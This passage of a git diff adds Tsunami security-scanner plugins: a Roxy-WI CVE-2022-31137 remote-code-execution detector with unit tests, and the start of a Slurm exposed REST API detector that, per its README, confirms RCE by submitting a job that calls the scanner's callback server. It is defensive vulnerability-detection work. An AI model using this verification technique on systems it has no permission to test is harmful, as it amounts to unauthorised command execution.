Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); + } + return payload.checkIfExecuted(response.bodyString().get()); + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(this.getAdvisories().get(0)) + .build(); + } +} diff --git a/community/detectors/apache_spark_exposed_webui/src/main/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetectorBootstrapModule.java b/community/detectors/roxy_wi_cve_2022_31137/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Cve202231137DetectorBootstrapModule.java similarity index 50% rename from community/detectors/apache_spark_exposed_webui/src/main/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetectorBootstrapModule.java rename to community/detectors/roxy_wi_cve_2022_31137/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Cve202231137DetectorBootstrapModule.java index abe3173ce..2d124521e 100644 --- a/community/detectors/apache_spark_exposed_webui/src/main/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetectorBootstrapModule.java +++ b/community/detectors/roxy_wi_cve_2022_31137/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Cve202231137DetectorBootstrapModule.java @@ -1,28 +1,41 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.apachesparksexposedwebui; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** A {@link PluginBootstrapModule} for {@link ApacheSparksExposedWebuiVulnDetector}. */ -public final class ApacheSparksExposedWebuiVulnDetectorBootstrapModule - extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin(ApacheSparksExposedWebuiVulnDetector.class); - } -} +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202231137; + +import com.google.inject.Provides; +import com.google.tsunami.plugin.PluginBootstrapModule; +import com.google.tsunami.plugins.detectors.cves.cve202231137.Annotations.OobSleepDuration; + +/** + * A Roxy-Wi Cve-2022-3113 Rce Detector Guice module that bootstraps the {@link + * Cve202231137Detector}. + */ +public final class Cve202231137DetectorBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + registerPlugin(Cve202231137Detector.class); + } + + @Provides + @OobSleepDuration + int provideOobSleepDuration(Cve202231137DetectorConfigs configs) { + if (configs.oobSleepDuration == 0) { + return 10; + } + return configs.oobSleepDuration; + } +} diff --git a/google/detectors/rce/ai/cve20236018/src/main/java/com/google/tsunami/plugins/cve20236018/Cve20236018DetectorModule.java b/community/detectors/roxy_wi_cve_2022_31137/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Cve202231137DetectorConfigs.java similarity index 63% rename from google/detectors/rce/ai/cve20236018/src/main/java/com/google/tsunami/plugins/cve20236018/Cve20236018DetectorModule.java rename to community/detectors/roxy_wi_cve_2022_31137/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Cve202231137DetectorConfigs.java index bfd01f892..81a1beff8 100644 --- a/google/detectors/rce/ai/cve20236018/src/main/java/com/google/tsunami/plugins/cve20236018/Cve20236018DetectorModule.java +++ b/community/detectors/roxy_wi_cve_2022_31137/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Cve202231137DetectorConfigs.java @@ -13,14 +13,11 @@ * See the License for the specific language governing permissions and * limitations under the License. */ -package com.google.tsunami.plugins.cve20236018; +package com.google.tsunami.plugins.detectors.cves.cve202231137; -import com.google.tsunami.plugin.PluginBootstrapModule; +import com.google.tsunami.common.config.annotations.ConfigProperties; -/** An module registering the detector for CVE-2023-6018. */ -public final class Cve20236018DetectorModule extends PluginBootstrapModule { - @Override - protected void configurePlugin() { - registerPlugin(Cve20236018Detector.class); - } +@ConfigProperties("plugins.community.detectors.roxy_wi_cve_2022_31137") +final class Cve202231137DetectorConfigs { + int oobSleepDuration; } diff --git a/community/detectors/roxy_wi_cve_2022_31137/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Cve202231137DetectorTest.java b/community/detectors/roxy_wi_cve_2022_31137/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Cve202231137DetectorTest.java new file mode 100644 index 000000000..0a73f18c5 --- /dev/null +++ b/community/detectors/roxy_wi_cve_2022_31137/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Cve202231137DetectorTest.java @@ -0,0 +1,135 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202231137; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.inject.testing.fieldbinder.Bind; +import com.google.inject.testing.fieldbinder.BoundFieldModule; +import com.google.inject.util.Modules; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.plugins.detectors.cves.cve202231137.Annotations.OobSleepDuration; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Software; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TransportProtocol; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link Cve202231137Detector}. */ +@RunWith(JUnit4.class) +public final class Cve202231137DetectorTest { + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2022-05-23T00:00:00.00Z")); + private MockWebServer mockTargetService; + private NetworkService service; + private MockWebServer mockCallbackServer; + private TargetInfo targetInfo; + @Inject private Cve202231137Detector detector; + + @Bind(lazy = true) + @OobSleepDuration + private int sleepDuration = 1; + + @Before + public void setUp() { + mockTargetService = new MockWebServer(); + mockCallbackServer = new MockWebServer(); + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder().setCallbackServer(mockCallbackServer).build(), + Modules.override(new Cve202231137DetectorBootstrapModule()) + .with(BoundFieldModule.of(this))) + .injectMembers(this); + service = TestHelper.createWebService(mockTargetService); + targetInfo = TestHelper.buildTargetInfo(forHostname(mockTargetService.getHostName())); + } + + @After + public void tearDown() throws Exception { + mockTargetService.shutdown(); + mockCallbackServer.shutdown(); + } + + @Test + public void detect_withCallbackServer_onVulnerableTarget_returnsVulnerability() + throws IOException { + mockTargetService.enqueue( + new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody("Login page - Roxy-WI")); + mockTargetService.enqueue( + new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody("A Constant Response")); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setSoftware(Software.newBuilder().setName("http")) + .setServiceName("http") + .build(); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(targetNetworkService) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(detector.getAdvisories().get(0)) + .build()); + } + + @Test + public void detect_ifNotVulnerableHtmlResponse_doesNotReportVuln() { + mockTargetService.enqueue( + new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody("A Constant Response")); + + DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } +} diff --git a/community/detectors/roxy_wi_cve_2022_31137/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202231137/TestHelper.java b/community/detectors/roxy_wi_cve_2022_31137/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202231137/TestHelper.java new file mode 100644 index 000000000..ecc9c903b --- /dev/null +++ b/community/detectors/roxy_wi_cve_2022_31137/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202231137/TestHelper.java @@ -0,0 +1,42 @@ +/* + * Copyright 2022 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202231137; + +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; + +import com.google.tsunami.proto.NetworkEndpoint; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TransportProtocol; +import okhttp3.mockwebserver.MockWebServer; + +final class TestHelper { + private TestHelper() {} + + static NetworkService createWebService(MockWebServer mockWebServer) { + return NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build(); + } + + static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { + return TargetInfo.newBuilder().addNetworkEndpoints(networkEndpoint).build(); + } +} diff --git a/community/detectors/slurm_exposed_rest_api/README.md b/community/detectors/slurm_exposed_rest_api/README.md new file mode 100644 index 000000000..19bb19b1b --- /dev/null +++ b/community/detectors/slurm_exposed_rest_api/README.md @@ -0,0 +1,26 @@ +# Slurm Exposed REST API + +his detector checks for an exposed Slurm REST API service by running an +arbitrary command using the Tsunami Callback Server. + +The Slurm Rest API requires authentication by default. However, a common +configuration involves using a reverse proxy that (in correctly-configured +environments) should authenticate the user first using some other methods and, +if successful, inject a JWT token into the request before forwarding it to the +Slurm REST API service. + +If the reverse proxy is misconfigured to simply forward the requests without any +authentication steps, it will allow anyone to use the API and therefore get RCE +by submitting malicious jobs to the cluster. + +- https://slurm.schedmd.com/rest.html#auth_proxy + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/slurm_exposed_rest_api/build.gradle b/community/detectors/slurm_exposed_rest_api/build.gradle new file mode 100644 index 000000000..494f2965f --- /dev/null +++ b/community/detectors/slurm_exposed_rest_api/build.gradle @@ -0,0 +1,69 @@ +plugins { + id 'java-library' +} + +description = 'Slurm Exposed REST API VulnDetector plugin.' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/en/java/javase/11/' + source = '11' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13.1' + okhttpVersion = '3.12.0' + truthVersion = '1.1.3' + guiceVersion = '4.2.3' + jspecifyVersion = 'latest.release' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + implementation "org.jspecify:jspecify:${jspecifyVersion}" + + testImplementation "junit:junit:${junitVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" + testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" +} \ No newline at end of file diff --git a/community/detectors/slurm_exposed_rest_api/gradle/wrapper/gradle-wrapper.jar b/community/detectors/slurm_exposed_rest_api/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..1b33c55ba Binary files /dev/null and b/community/detectors/slurm_exposed_rest_api/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/slurm_exposed_rest_api/gradle/wrapper/gradle-wrapper.properties b/community/detectors/slurm_exposed_rest_api/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..ca025c83a --- /dev/null +++ b/community/detectors/slurm_exposed_rest_api/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/community/detectors/slurm_exposed_rest_api/gradlew b/community/detectors/slurm_exposed_rest_api/gradlew new file mode 100755 index 000000000..23d15a936 --- /dev/null +++ b/community/detectors/slurm_exposed_rest_api/gradlew @@ -0,0 +1,251 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH="\\\"\\\"" + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/community/detectors/slurm_exposed_rest_api/gradlew.bat b/community/detectors/slurm_exposed_rest_api/gradlew.bat new file mode 100644 index 000000000..db3a6ac20 --- /dev/null +++ b/community/detectors/slurm_exposed_rest_api/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH= + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/community/detectors/slurm_exposed_rest_api/settings.gradle b/community/detectors/slurm_exposed_rest_api/settings.gradle new file mode 100644 index 000000000..55025077a --- /dev/null +++ b/community/detectors/slurm_exposed_rest_api/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'slurm_exposed_rest_api' diff --git a/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetector.java b/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetector.java new file mode 100644 index 000000000..15f7ad921 --- /dev/null +++ b/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetector.java @@ -0,0 +1,224 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.rce; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; +import static com.google.tsunami.common.data.NetworkServiceUtils.buildWebApplicationRootUrl; +import static com.google.tsunami.common.net.http.HttpRequest.get; +import static com.google.tsunami.common.net.http.HttpRequest.post; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.ForWebService; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.NotImplementedException; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.plugins.detectors.rce.SlurmExposedRestApiDetectorAnnotations.SlurmExposedRestApiOobSleepDuration; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import javax.inject.Inject; +import org.jspecify.annotations.Nullable; + +/** A {@link VulnDetector} that detects the exposed slurm rest server. */ +@ForWebService +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "SlurmExposedRestApiVulnDetector", + version = "0.1", + description = "This detector checks for an exposed Slurm REST API", + author = "lancedD00m", + bootstrapModule = SlurmExposedRestApiDetectorBootstrapModule.class) +public class SlurmExposedRestApiDetector implements VulnDetector { + + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + + private final PayloadGenerator payloadGenerator; + + @VisibleForTesting + static final String JOB_PAYLOAD = + "{" + + " \"job\": {" + + " \"name\": \"test\"," + + " \"ntasks\": 1," + + " \"current_working_directory\": \"/tmp\"," + + " \"environment\": [" + + " \"PATH:/bin:/usr/bin/:/usr/local/bin/\"," + + " 